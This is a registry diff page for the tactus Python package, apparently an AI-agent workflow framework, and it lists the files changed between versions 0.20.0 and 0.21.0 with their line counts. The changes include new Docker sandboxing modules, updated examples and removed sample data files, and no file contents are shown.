tactus 0.20.0__tar.gz → 0.21.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (548) hide show
  1. {tactus-0.20.0 → tactus-0.21.0}/.gitignore +1 -0
  2. {tactus-0.20.0 → tactus-0.21.0}/CHANGELOG.md +22 -0
  3. {tactus-0.20.0 → tactus-0.21.0}/PKG-INFO +1 -1
  4. {tactus-0.20.0 → tactus-0.21.0}/docs/CONFIGURATION.md +133 -0
  5. tactus-0.21.0/docs/SANDBOXING.md +499 -0
  6. {tactus-0.20.0 → tactus-0.21.0}/examples/04-basics-simple-agent.tac +10 -0
  7. {tactus-0.20.0 → tactus-0.21.0}/examples/05-basics-multi-model.tac +17 -2
  8. {tactus-0.20.0 → tactus-0.21.0}/examples/07-basics-bedrock.tac +10 -0
  9. {tactus-0.20.0 → tactus-0.21.0}/examples/08-basics-models.tac +46 -3
  10. {tactus-0.20.0 → tactus-0.21.0}/examples/09-basics-google-gemini.tac +18 -8
  11. {tactus-0.20.0 → tactus-0.21.0}/examples/11-feature-message-history.tac +8 -0
  12. {tactus-0.20.0 → tactus-0.21.0}/examples/12-feature-structured-output.tac +30 -25
  13. {tactus-0.20.0 → tactus-0.21.0}/examples/13-feature-session.tac +8 -0
  14. {tactus-0.20.0 → tactus-0.21.0}/examples/14-feature-per-turn-tools.tac +9 -0
  15. {tactus-0.20.0 → tactus-0.21.0}/examples/16-feature-toolsets-advanced.tac +42 -24
  16. {tactus-0.20.0 → tactus-0.21.0}/examples/17-feature-toolsets-dsl.tac +16 -2
  17. {tactus-0.20.0 → tactus-0.21.0}/examples/18-feature-lua-tools-individual.tac +13 -3
  18. {tactus-0.20.0 → tactus-0.21.0}/examples/18-feature-lua-tools-inline.tac +13 -2
  19. {tactus-0.20.0 → tactus-0.21.0}/examples/18-feature-lua-tools-toolset.tac +13 -3
  20. {tactus-0.20.0 → tactus-0.21.0}/examples/19-feature-direct-tool-calls.tac +15 -5
  21. {tactus-0.20.0 → tactus-0.21.0}/examples/20-bdd-complete.tac +13 -0
  22. {tactus-0.20.0 → tactus-0.21.0}/examples/21-bdd-passing.tac +10 -0
  23. {tactus-0.20.0 → tactus-0.21.0}/examples/31-eval-demo.tac +23 -4
  24. {tactus-0.20.0 → tactus-0.21.0}/examples/32-eval-success-rate.tac +23 -4
  25. {tactus-0.20.0 → tactus-0.21.0}/examples/33-eval-thresholds.tac +23 -4
  26. {tactus-0.20.0 → tactus-0.21.0}/examples/34-eval-dataset.tac +23 -4
  27. {tactus-0.20.0 → tactus-0.21.0}/examples/35-eval-trace.tac +30 -8
  28. {tactus-0.20.0 → tactus-0.21.0}/examples/36-eval-advanced.tac +10 -0
  29. {tactus-0.20.0 → tactus-0.21.0}/examples/37-eval-comprehensive.tac +22 -6
  30. {tactus-0.20.0 → tactus-0.21.0}/examples/40-model-text-classifier.tac +31 -10
  31. {tactus-0.20.0 → tactus-0.21.0}/examples/41-model-pytorch.tac +32 -10
  32. {tactus-0.20.0 → tactus-0.21.0}/examples/44-sub-procedure-composition.tac +36 -37
  33. {tactus-0.20.0 → tactus-0.21.0}/examples/52-file-io-basics.tac +4 -4
  34. {tactus-0.20.0 → tactus-0.21.0}/examples/53-tsv-file-io.tac +4 -4
  35. {tactus-0.20.0 → tactus-0.21.0}/examples/54-json-file-io.tac +4 -4
  36. {tactus-0.20.0 → tactus-0.21.0}/examples/55-parquet-file-io.tac +4 -4
  37. {tactus-0.20.0 → tactus-0.21.0}/examples/56-hdf5-file-io.tac +9 -9
  38. {tactus-0.20.0 → tactus-0.21.0}/examples/57-excel-file-io.tac +7 -7
  39. {tactus-0.20.0 → tactus-0.21.0}/examples/58-text-file-io.tac +13 -13
  40. {tactus-0.20.0 → tactus-0.21.0}/examples/60-tool-sources.tac +17 -19
  41. {tactus-0.20.0 → tactus-0.21.0}/examples/61-inline-toolset-lua.tac +15 -12
  42. {tactus-0.20.0 → tactus-0.21.0}/examples/63-toolset-import-from-file.tac +16 -16
  43. {tactus-0.20.0 → tactus-0.21.0}/examples/65-optional-state-demo.tac +21 -13
  44. {tactus-0.20.0 → tactus-0.21.0}/examples/70-mocking-static.tac +10 -9
  45. {tactus-0.20.0 → tactus-0.21.0}/examples/71-mocking-temporal.tac +15 -15
  46. {tactus-0.20.0 → tactus-0.21.0}/examples/72-mocking-conditional.tac +10 -26
  47. {tactus-0.20.0 → tactus-0.21.0}/pyproject.toml +1 -1
  48. {tactus-0.20.0 → tactus-0.21.0}/tactus/__init__.py +1 -1
  49. tactus-0.21.0/tactus/adapters/http_callback_log.py +109 -0
  50. {tactus-0.20.0 → tactus-0.21.0}/tactus/cli/app.py +190 -5
  51. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/config_manager.py +11 -1
  52. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/dsl_stubs.py +105 -20
  53. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/execution_context.py +8 -0
  54. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/output_validator.py +3 -6
  55. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/registry.py +25 -0
  56. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/runtime.py +73 -39
  57. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/yaml_parser.py +11 -1
  58. tactus-0.21.0/tactus/docker/Dockerfile +57 -0
  59. tactus-0.21.0/tactus/docker/entrypoint.sh +68 -0
  60. {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/agent.py +3 -0
  61. {tactus-0.20.0 → tactus-0.21.0}/tactus/ide/server.py +284 -65
  62. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/handles.py +11 -2
  63. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/tool.py +2 -0
  64. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/tool_handle.py +2 -2
  65. tactus-0.21.0/tactus/sandbox/__init__.py +63 -0
  66. tactus-0.21.0/tactus/sandbox/config.py +121 -0
  67. tactus-0.21.0/tactus/sandbox/container_runner.py +391 -0
  68. tactus-0.21.0/tactus/sandbox/docker_manager.py +321 -0
  69. tactus-0.21.0/tactus/sandbox/entrypoint.py +186 -0
  70. tactus-0.21.0/tactus/sandbox/protocol.py +222 -0
  71. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/tac/tactus/tools/done.tac +3 -3
  72. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/README.md +4 -0
  73. tactus-0.21.0/tactus/testing/mock_agent.py +208 -0
  74. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/mock_tools.py +18 -7
  75. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/test_runner.py +18 -0
  76. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/test_lsp_server.py +4 -4
  77. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/package-lock.json +1471 -2095
  78. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/App.tsx +92 -4
  79. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/MessageFeed.tsx +27 -1
  80. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ResultsSidebar.tsx +31 -2
  81. tactus-0.21.0/tactus-ide/frontend/src/components/TestOptionsModal.tsx +185 -0
  82. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/CheckpointEventComponent.tsx +6 -5
  83. tactus-0.21.0/tactus-ide/frontend/src/components/events/CollapsibleTestScenario.tsx +194 -0
  84. tactus-0.21.0/tactus-ide/frontend/src/components/events/ContainerStatusEventComponent.tsx +95 -0
  85. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/CostEventComponent.tsx +2 -2
  86. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/EventRenderer.tsx +15 -21
  87. tactus-0.21.0/tactus-ide/frontend/src/components/events/LoadingEventComponent.tsx +42 -0
  88. tactus-0.21.0/tactus-ide/frontend/src/components/events/TestProgressContainer.tsx +262 -0
  89. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/hooks/useEventStream.ts +91 -16
  90. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/types/events.ts +18 -1
  91. {tactus-0.20.0 → tactus-0.21.0}/tests/cli/test_cli.py +4 -2
  92. {tactus-0.20.0 → tactus-0.21.0}/tests/cli/test_cli_inputs.py +22 -11
  93. {tactus-0.20.0 → tactus-0.21.0}/tests/test_mcp_integration.py +2 -5
  94. {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_all_examples.py +17 -16
  95. tactus-0.20.0/examples/app_config.json +0 -1
  96. tactus-0.20.0/examples/app_summary.json +0 -1
  97. tactus-0.20.0/examples/data_export.csv +0 -11
  98. tactus-0.20.0/examples/executive_summary.xlsx +0 -0
  99. tactus-0.20.0/examples/inventory.tsv +0 -6
  100. tactus-0.20.0/examples/output_high_performers.csv +0 -5
  101. tactus-0.20.0/examples/output_summary.json +0 -5
  102. tactus-0.20.0/examples/product_analysis.xlsx +0 -0
  103. tactus-0.20.0/examples/sales_analysis.xlsx +0 -0
  104. tactus-0.20.0/examples/sales_report.xlsx +0 -0
  105. tactus-0.20.0/examples/scientific_data.h5 +0 -0
  106. tactus-0.20.0/examples/sensor_data.parquet +0 -0
  107. tactus-0.20.0/examples/sensor_report.parquet +0 -0
  108. tactus-0.20.0/examples/sensor_summary.parquet +0 -0
  109. tactus-0.20.0/examples/status_report.md +0 -31
  110. tactus-0.20.0/examples/summary.json +0 -6
  111. tactus-0.20.0/tactus/testing/mock_agent.py +0 -179
  112. tactus-0.20.0/tactus-ide/frontend/src/components/events/LoadingEventComponent.tsx +0 -29
  113. {tactus-0.20.0 → tactus-0.21.0}/.claude/agents.md +0 -0
  114. {tactus-0.20.0 → tactus-0.21.0}/.github/workflows/desktop-release.yml +0 -0
  115. {tactus-0.20.0 → tactus-0.21.0}/.github/workflows/release.yml +0 -0
  116. {tactus-0.20.0 → tactus-0.21.0}/.tactus/config.yml.example +0 -0
  117. {tactus-0.20.0 → tactus-0.21.0}/AGENTS.md +0 -0
  118. {tactus-0.20.0 → tactus-0.21.0}/IMPLEMENTATION.md +0 -0
  119. {tactus-0.20.0 → tactus-0.21.0}/LICENSE +0 -0
  120. {tactus-0.20.0 → tactus-0.21.0}/Makefile +0 -0
  121. {tactus-0.20.0 → tactus-0.21.0}/README.md +0 -0
  122. {tactus-0.20.0 → tactus-0.21.0}/SPECIFICATION.md +0 -0
  123. {tactus-0.20.0 → tactus-0.21.0}/SPECIFICATION.md.bak +0 -0
  124. {tactus-0.20.0 → tactus-0.21.0}/TECHNICAL_DEBT.md +0 -0
  125. {tactus-0.20.0 → tactus-0.21.0}/behave.ini +0 -0
  126. {tactus-0.20.0 → tactus-0.21.0}/docs/AGENTS.md +0 -0
  127. {tactus-0.20.0 → tactus-0.21.0}/docs/BDD_TESTING.md +0 -0
  128. {tactus-0.20.0 → tactus-0.21.0}/docs/DURABILITY.md +0 -0
  129. {tactus-0.20.0 → tactus-0.21.0}/docs/FILE_IO.md +0 -0
  130. {tactus-0.20.0 → tactus-0.21.0}/docs/STREAMING.md +0 -0
  131. {tactus-0.20.0 → tactus-0.21.0}/docs/TOOLS.md +0 -0
  132. {tactus-0.20.0 → tactus-0.21.0}/docs/TOOL_ROADMAP.md +0 -0
  133. {tactus-0.20.0 → tactus-0.21.0}/examples/.tactus/config.yml +0 -0
  134. {tactus-0.20.0 → tactus-0.21.0}/examples/01-basics-hello-world.tac +0 -0
  135. {tactus-0.20.0 → tactus-0.21.0}/examples/02-basics-simple-logic.tac +0 -0
  136. {tactus-0.20.0 → tactus-0.21.0}/examples/03-basics-parameters.tac +0 -0
  137. {tactus-0.20.0 → tactus-0.21.0}/examples/06-basics-streaming.tac +0 -0
  138. {tactus-0.20.0 → tactus-0.21.0}/examples/10-feature-state.tac +0 -0
  139. {tactus-0.20.0 → tactus-0.21.0}/examples/14-feature-per-turn-tools-simple.tac +0 -0
  140. {tactus-0.20.0 → tactus-0.21.0}/examples/15-feature-local-tools.tac +0 -0
  141. {tactus-0.20.0 → tactus-0.21.0}/examples/20-bdd-complete.tac.bak +0 -0
  142. {tactus-0.20.0 → tactus-0.21.0}/examples/20-bdd-complete.tac.bak2 +0 -0
  143. {tactus-0.20.0 → tactus-0.21.0}/examples/21-bdd-passing.tac.bak +0 -0
  144. {tactus-0.20.0 → tactus-0.21.0}/examples/21-bdd-passing.tac.bak2 +0 -0
  145. {tactus-0.20.0 → tactus-0.21.0}/examples/30-eval-simple.tac +0 -0
  146. {tactus-0.20.0 → tactus-0.21.0}/examples/34-eval-dataset.jsonl +0 -0
  147. {tactus-0.20.0 → tactus-0.21.0}/examples/35-eval-trace.tac.bak +0 -0
  148. {tactus-0.20.0 → tactus-0.21.0}/examples/35-eval-trace.tac.bak2 +0 -0
  149. {tactus-0.20.0 → tactus-0.21.0}/examples/37-eval-comprehensive.tac.bak +0 -0
  150. {tactus-0.20.0 → tactus-0.21.0}/examples/37-eval-comprehensive.tac.bak2 +0 -0
  151. {tactus-0.20.0 → tactus-0.21.0}/examples/39-model-simple.tac +0 -0
  152. {tactus-0.20.0 → tactus-0.21.0}/examples/40-mcp-test.tac +0 -0
  153. {tactus-0.20.0 → tactus-0.21.0}/examples/41-mcp-simple.tac +0 -0
  154. {tactus-0.20.0 → tactus-0.21.0}/examples/43-sub-procedure-simple.tac +0 -0
  155. {tactus-0.20.0 → tactus-0.21.0}/examples/45-sub-procedure-recursive.tac +0 -0
  156. {tactus-0.20.0 → tactus-0.21.0}/examples/46-checkpoint-explicit.tac +0 -0
  157. {tactus-0.20.0 → tactus-0.21.0}/examples/47-checkpoint-expensive-ops.tac +0 -0
  158. {tactus-0.20.0 → tactus-0.21.0}/examples/48-script-mode-simple.tac +0 -0
  159. {tactus-0.20.0 → tactus-0.21.0}/examples/50-inputs-showcase.tac +0 -0
  160. {tactus-0.20.0 → tactus-0.21.0}/examples/51-inputs-calculator.tac +0 -0
  161. {tactus-0.20.0 → tactus-0.21.0}/examples/62-mcp-toolset-by-server.tac +0 -0
  162. {tactus-0.20.0 → tactus-0.21.0}/examples/64-require-modules.tac +0 -0
  163. {tactus-0.20.0 → tactus-0.21.0}/examples/99-misc-test-loading.tac +0 -0
  164. {tactus-0.20.0 → tactus-0.21.0}/examples/README.md +0 -0
  165. {tactus-0.20.0 → tactus-0.21.0}/examples/app_config.ini +0 -0
  166. {tactus-0.20.0 → tactus-0.21.0}/examples/data/sample.csv +0 -0
  167. {tactus-0.20.0 → tactus-0.21.0}/examples/demo_output.json +0 -0
  168. {tactus-0.20.0 → tactus-0.21.0}/examples/helpers/math_module.tac +0 -0
  169. {tactus-0.20.0 → tactus-0.21.0}/examples/helpers/product.tac +0 -0
  170. {tactus-0.20.0 → tactus-0.21.0}/examples/helpers/string_module.tac +0 -0
  171. {tactus-0.20.0 → tactus-0.21.0}/examples/helpers/sum.tac +0 -0
  172. {tactus-0.20.0 → tactus-0.21.0}/examples/helpers/text_tools.tac +0 -0
  173. {tactus-0.20.0 → tactus-0.21.0}/examples/inventory_summary.tsv +0 -0
  174. {tactus-0.20.0 → tactus-0.21.0}/examples/mock-config.json +0 -0
  175. {tactus-0.20.0 → tactus-0.21.0}/examples/models/README.md +0 -0
  176. {tactus-0.20.0 → tactus-0.21.0}/examples/models/create_sentiment_model.py +0 -0
  177. {tactus-0.20.0 → tactus-0.21.0}/examples/output_summary.txt +0 -0
  178. {tactus-0.20.0 → tactus-0.21.0}/examples/tools/calculations.py +0 -0
  179. {tactus-0.20.0 → tactus-0.21.0}/examples/tools/data_analysis.py +0 -0
  180. {tactus-0.20.0 → tactus-0.21.0}/examples/tools/search.py +0 -0
  181. {tactus-0.20.0 → tactus-0.21.0}/examples/with_dependencies/README.md +0 -0
  182. {tactus-0.20.0 → tactus-0.21.0}/examples/with_dependencies/simple_http_test.tac +0 -0
  183. {tactus-0.20.0 → tactus-0.21.0}/examples/with_dependencies/time_lookup.tac +0 -0
  184. {tactus-0.20.0 → tactus-0.21.0}/features/01_state_management.feature +0 -0
  185. {tactus-0.20.0 → tactus-0.21.0}/features/02_checkpointing.feature +0 -0
  186. {tactus-0.20.0 → tactus-0.21.0}/features/03_human_in_the_loop.feature +0 -0
  187. {tactus-0.20.0 → tactus-0.21.0}/features/04_control_flow.feature +0 -0
  188. {tactus-0.20.0 → tactus-0.21.0}/features/05_tool_integration.feature +0 -0
  189. {tactus-0.20.0 → tactus-0.21.0}/features/06_retry_logic.feature +0 -0
  190. {tactus-0.20.0 → tactus-0.21.0}/features/07_file_operations.feature +0 -0
  191. {tactus-0.20.0 → tactus-0.21.0}/features/08_agent_primitives.feature +0 -0
  192. {tactus-0.20.0 → tactus-0.21.0}/features/09_workflow_execution.feature +0 -0
  193. {tactus-0.20.0 → tactus-0.21.0}/features/10_lua_integration.feature +0 -0
  194. {tactus-0.20.0 → tactus-0.21.0}/features/11_storage_backends.feature +0 -0
  195. {tactus-0.20.0 → tactus-0.21.0}/features/12_json_operations.feature +0 -0
  196. {tactus-0.20.0 → tactus-0.21.0}/features/13_logging.feature +0 -0
  197. {tactus-0.20.0 → tactus-0.21.0}/features/14_stage_and_step_tracking.feature +0 -0
  198. {tactus-0.20.0 → tactus-0.21.0}/features/15_procedure_calls.feature +0 -0
  199. {tactus-0.20.0 → tactus-0.21.0}/features/16_session_management.feature +0 -0
  200. {tactus-0.20.0 → tactus-0.21.0}/features/17_lua_dsl_validation.feature +0 -0
  201. {tactus-0.20.0 → tactus-0.21.0}/features/18_example_procedures.feature +0 -0
  202. {tactus-0.20.0 → tactus-0.21.0}/features/19_ide_server.feature +0 -0
  203. {tactus-0.20.0 → tactus-0.21.0}/features/20_parameters.feature +0 -0
  204. {tactus-0.20.0 → tactus-0.21.0}/features/21_outputs.feature +0 -0
  205. {tactus-0.20.0 → tactus-0.21.0}/features/23_prompts.feature +0 -0
  206. {tactus-0.20.0 → tactus-0.21.0}/features/24_bdd_specifications.feature +0 -0
  207. {tactus-0.20.0 → tactus-0.21.0}/features/25_bdd_custom_steps.feature +0 -0
  208. {tactus-0.20.0 → tactus-0.21.0}/features/26_bdd_evaluation.feature +0 -0
  209. {tactus-0.20.0 → tactus-0.21.0}/features/27_default_settings.feature +0 -0
  210. {tactus-0.20.0 → tactus-0.21.0}/features/28_custom_prompts.feature +0 -0
  211. {tactus-0.20.0 → tactus-0.21.0}/features/29_execution_settings.feature +0 -0
  212. {tactus-0.20.0 → tactus-0.21.0}/features/30_session_filters.feature +0 -0
  213. {tactus-0.20.0 → tactus-0.21.0}/features/31_matchers.feature +0 -0
  214. {tactus-0.20.0 → tactus-0.21.0}/features/32_result_object.feature +0 -0
  215. {tactus-0.20.0 → tactus-0.21.0}/features/33_output_type.feature +0 -0
  216. {tactus-0.20.0 → tactus-0.21.0}/features/42_model_primitive.feature +0 -0
  217. {tactus-0.20.0 → tactus-0.21.0}/features/43_sub_procedure_checkpointing.feature +0 -0
  218. {tactus-0.20.0 → tactus-0.21.0}/features/46_explicit_checkpoint.feature +0 -0
  219. {tactus-0.20.0 → tactus-0.21.0}/features/48_script_mode.feature +0 -0
  220. {tactus-0.20.0 → tactus-0.21.0}/features/51_dspy_lm_config.feature +0 -0
  221. {tactus-0.20.0 → tactus-0.21.0}/features/52_dspy_signature.feature +0 -0
  222. {tactus-0.20.0 → tactus-0.21.0}/features/53_dspy_module.feature +0 -0
  223. {tactus-0.20.0 → tactus-0.21.0}/features/54_dspy_history.feature +0 -0
  224. {tactus-0.20.0 → tactus-0.21.0}/features/55_dspy_prediction.feature +0 -0
  225. {tactus-0.20.0 → tactus-0.21.0}/features/56_dspy_agent.feature +0 -0
  226. {tactus-0.20.0 → tactus-0.21.0}/features/documentation/IDE_SERVER_BEHAVIOR.md +0 -0
  227. {tactus-0.20.0 → tactus-0.21.0}/features/documentation/Lua DSL/README.md +0 -0
  228. {tactus-0.20.0 → tactus-0.21.0}/features/environment.py +0 -0
  229. {tactus-0.20.0 → tactus-0.21.0}/features/steps/agent_primitives_steps.py +0 -0
  230. {tactus-0.20.0 → tactus-0.21.0}/features/steps/checkpointing_steps.py +0 -0
  231. {tactus-0.20.0 → tactus-0.21.0}/features/steps/control_flow_steps.py +0 -0
  232. {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_agent_steps.py +0 -0
  233. {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_history_steps.py +0 -0
  234. {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_lm_steps.py +0 -0
  235. {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_module_steps.py +0 -0
  236. {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_prediction_steps.py +0 -0
  237. {tactus-0.20.0 → tactus-0.21.0}/features/steps/dspy_signature_steps.py +0 -0
  238. {tactus-0.20.0 → tactus-0.21.0}/features/steps/example_procedures_steps.py +0 -0
  239. {tactus-0.20.0 → tactus-0.21.0}/features/steps/file_operations_steps.py +0 -0
  240. {tactus-0.20.0 → tactus-0.21.0}/features/steps/human_in_the_loop_steps.py +0 -0
  241. {tactus-0.20.0 → tactus-0.21.0}/features/steps/ide_server_steps.py +0 -0
  242. {tactus-0.20.0 → tactus-0.21.0}/features/steps/json_operations_steps.py +0 -0
  243. {tactus-0.20.0 → tactus-0.21.0}/features/steps/logging_steps.py +0 -0
  244. {tactus-0.20.0 → tactus-0.21.0}/features/steps/lua_dsl_validation_steps.py +0 -0
  245. {tactus-0.20.0 → tactus-0.21.0}/features/steps/lua_integration_steps.py +0 -0
  246. {tactus-0.20.0 → tactus-0.21.0}/features/steps/mocking_steps.py +0 -0
  247. {tactus-0.20.0 → tactus-0.21.0}/features/steps/procedure_calls_steps.py +0 -0
  248. {tactus-0.20.0 → tactus-0.21.0}/features/steps/result_and_output_steps.py +0 -0
  249. {tactus-0.20.0 → tactus-0.21.0}/features/steps/retry_logic_steps.py +0 -0
  250. {tactus-0.20.0 → tactus-0.21.0}/features/steps/session_management_steps.py +0 -0
  251. {tactus-0.20.0 → tactus-0.21.0}/features/steps/stage_tracking_steps.py +0 -0
  252. {tactus-0.20.0 → tactus-0.21.0}/features/steps/state_management_steps.py +0 -0
  253. {tactus-0.20.0 → tactus-0.21.0}/features/steps/storage_backend_steps.py +0 -0
  254. {tactus-0.20.0 → tactus-0.21.0}/features/steps/support/__init__.py +0 -0
  255. {tactus-0.20.0 → tactus-0.21.0}/features/steps/support/harnesses.py +0 -0
  256. {tactus-0.20.0 → tactus-0.21.0}/features/steps/tool_integration_steps.py +0 -0
  257. {tactus-0.20.0 → tactus-0.21.0}/features/steps/workflow_execution_steps.py +0 -0
  258. {tactus-0.20.0 → tactus-0.21.0}/scripts/audit_examples_mocking.py +0 -0
  259. {tactus-0.20.0 → tactus-0.21.0}/scripts/convert_examples.py +0 -0
  260. {tactus-0.20.0 → tactus-0.21.0}/start-web-ide.sh +0 -0
  261. {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/__init__.py +0 -0
  262. {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/cli_hitl.py +0 -0
  263. {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/cli_log.py +0 -0
  264. {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/file_storage.py +0 -0
  265. {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/ide_log.py +0 -0
  266. {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/lua_tools.py +0 -0
  267. {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/mcp.py +0 -0
  268. {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/mcp_manager.py +0 -0
  269. {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/memory.py +0 -0
  270. {tactus-0.20.0 → tactus-0.21.0}/tactus/adapters/plugins.py +0 -0
  271. {tactus-0.20.0 → tactus-0.21.0}/tactus/backends/http_backend.py +0 -0
  272. {tactus-0.20.0 → tactus-0.21.0}/tactus/backends/model_backend.py +0 -0
  273. {tactus-0.20.0 → tactus-0.21.0}/tactus/backends/pytorch_backend.py +0 -0
  274. {tactus-0.20.0 → tactus-0.21.0}/tactus/cli/__init__.py +0 -0
  275. {tactus-0.20.0 → tactus-0.21.0}/tactus/cli/commands/__init__.py +0 -0
  276. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/__init__.py +0 -0
  277. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/dependencies/__init__.py +0 -0
  278. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/dependencies/registry.py +0 -0
  279. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/exceptions.py +0 -0
  280. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/lua_sandbox.py +0 -0
  281. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/message_history_manager.py +0 -0
  282. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/mocking.py +0 -0
  283. {tactus-0.20.0 → tactus-0.21.0}/tactus/core/template_resolver.py +0 -0
  284. {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/__init__.py +0 -0
  285. {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/config.py +0 -0
  286. {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/history.py +0 -0
  287. {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/module.py +0 -0
  288. {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/prediction.py +0 -0
  289. {tactus-0.20.0 → tactus-0.21.0}/tactus/dspy/signature.py +0 -0
  290. {tactus-0.20.0 → tactus-0.21.0}/tactus/ide/__init__.py +0 -0
  291. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/__init__.py +0 -0
  292. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/control.py +0 -0
  293. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/file.py +0 -0
  294. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/human.py +0 -0
  295. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/json.py +0 -0
  296. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/log.py +0 -0
  297. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/message_history.py +0 -0
  298. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/model.py +0 -0
  299. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/procedure.py +0 -0
  300. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/procedure_callable.py +0 -0
  301. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/retry.py +0 -0
  302. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/session.py +0 -0
  303. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/stage.py +0 -0
  304. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/state.py +0 -0
  305. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/step.py +0 -0
  306. {tactus-0.20.0 → tactus-0.21.0}/tactus/primitives/toolset.py +0 -0
  307. {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/__init__.py +0 -0
  308. {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/chat_recorder.py +0 -0
  309. {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/config.py +0 -0
  310. {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/hitl.py +0 -0
  311. {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/log_handler.py +0 -0
  312. {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/models.py +0 -0
  313. {tactus-0.20.0 → tactus-0.21.0}/tactus/protocols/storage.py +0 -0
  314. {tactus-0.20.0 → tactus-0.21.0}/tactus/providers/__init__.py +0 -0
  315. {tactus-0.20.0 → tactus-0.21.0}/tactus/providers/base.py +0 -0
  316. {tactus-0.20.0 → tactus-0.21.0}/tactus/providers/bedrock.py +0 -0
  317. {tactus-0.20.0 → tactus-0.21.0}/tactus/providers/google.py +0 -0
  318. {tactus-0.20.0 → tactus-0.21.0}/tactus/providers/openai.py +0 -0
  319. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/__init__.py +0 -0
  320. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/__init__.py +0 -0
  321. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/csv.py +0 -0
  322. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/excel.py +0 -0
  323. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/file.py +0 -0
  324. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/hdf5.py +0 -0
  325. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/json.py +0 -0
  326. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/parquet.py +0 -0
  327. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/io/tsv.py +0 -0
  328. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/loader.py +0 -0
  329. {tactus-0.20.0 → tactus-0.21.0}/tactus/stdlib/tac/tactus/tools/log.tac +0 -0
  330. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/__init__.py +0 -0
  331. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/behave_integration.py +0 -0
  332. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/context.py +0 -0
  333. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/eval_models.py +0 -0
